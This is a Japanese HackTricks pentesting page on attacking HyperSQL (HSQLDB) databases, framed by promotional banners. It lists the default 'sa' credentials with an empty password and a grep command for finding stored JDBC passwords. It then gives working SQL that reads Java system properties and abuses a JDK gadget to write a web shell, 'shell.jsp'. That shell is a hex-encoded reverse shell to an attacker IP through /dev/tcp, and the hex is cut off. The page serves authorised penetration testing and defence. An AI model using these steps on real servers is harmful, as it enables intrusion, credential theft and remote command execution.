☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# 基本情報 HSQLDB([HyperSQL DataBase](http://hsqldb.org/))は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。これは、インメモリおよびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートする、小さくて高速なマルチスレッドおよびトランザクションデータベースエンジンを提供します。 **デフォルトポート:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` # 情報 ### デフォルト設定 デフォルトでは、このサービスはおそらくメモリ内で実行されているか、localhostにバインドされています。もし見つけた場合、おそらく他のサービスを攻撃し、特権をエスカレーションさせるために探しているでしょう。 デフォルトの資格情報は通常、空のパスワードで`sa`です。 他のサービスを攻撃した場合、可能な資格情報を検索してください。 ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` 注意してデータベース名を確認してください - 接続するために必要です。 # 情報収集 [HSQLDBをダウンロード](https://sourceforge.net/projects/hsqldb/files/)し、`hsqldb/lib/hsqldb.jar`を展開してDBインスタンスに接続します。GUIアプリ(うわっ)を`java -jar hsqldb.jar`を使用して実行し、発見した/弱い認証情報を使用してインスタンスに接続します。 リモートシステムの場合、接続URLは次のようになります:`jdbc:hsqldb:hsql://ip/DBNAME`。 # テクニック ## Java言語ルーチン Java言語ルーチンを使用して、HSQLDBからJavaクラスの静的メソッドを呼び出すことができます。ただし、呼び出されるクラスはアプリケーションのクラスパスにある必要があります。 JRTは`関数`または`手続き`になります。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQLステートメントを介して呼び出すことができます。`VALUES`ステートメントを使用して呼び出されます。 Javaメソッドがvoidを返す場合は、`CALL`ステートメントを使用して呼び出す必要があります。 ## Javaシステムプロパティの読み取り 関数を作成します: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` 実行関数: ```text VALUES(getsystemproperty('user.name')) ``` [ここ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)でシステムプロパティのリストを見つけることができます。 ## ファイルへのコンテンツの書き込み JDKにある`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename`というJavaガジェットを使用して、カスタム手順を介してヘックスエンコードされたアイテムをディスクに書き込むことができます。ただし、最大サイズは1024バイトです。 手順の作成: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` 手順の実行: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。